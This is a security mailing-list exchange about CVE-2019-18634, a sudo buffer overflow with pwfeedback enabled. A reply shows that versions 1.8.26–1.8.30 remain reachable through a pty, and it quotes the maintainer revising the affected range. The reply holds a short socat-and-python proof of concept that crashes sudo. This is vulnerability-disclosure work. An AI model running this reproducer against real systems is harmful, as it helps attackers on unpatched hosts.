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Date: Wed, 5 Feb 2020 22:34:53 +1100
From: William Bowling <>
Subject: Re: CVE-2019-18634: buffer overflow in sudo when
 pwfeedback is enabled

When using a pty, sudo_term_eof and sudo_term_kill are initialized to 0x4
and 0x15 allowing the overflow to be reached, making 1.8.26-1.8.30 also

$ socat pty,link=/tmp/pty,waitslave exec:"python -c
'print((\"A\"*100+chr(0x15))*50)'" &
$ sudo -S id < /tmp/pty
[sudo] password for user1: Segmentation fault
$ sudo -V
Sudo version 1.8.30
Sudoers policy plugin version 1.8.30
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.30

- Will

On Sat, Feb 1, 2020 at 12:59 AM Todd C. Miller <> wrote:

> On Thu, 30 Jan 2020 11:23:28 -0700, "Todd C. Miller" wrote:
> > Sudo versions affected:
> >
> > Sudo versions 1.7.1 to 1.8.30 inclusive are affected but only if
> > the "pwfeedback" option is enabled in sudoers.
> It turns out a change in EOF handling introduced in sudo 1.8.26
> prevents exploitation of the bug.  The EOF character is also
> initialized to 0 and sudo 1.8.26 checks for EOF before it checks
> for the kill character.
> This means that the bug actually affects sudo versions 1.7.1 to
> 1.8.25p1 inclusive.
> Sorry for the oversight.  I've updated the affected versions in
>  - todd


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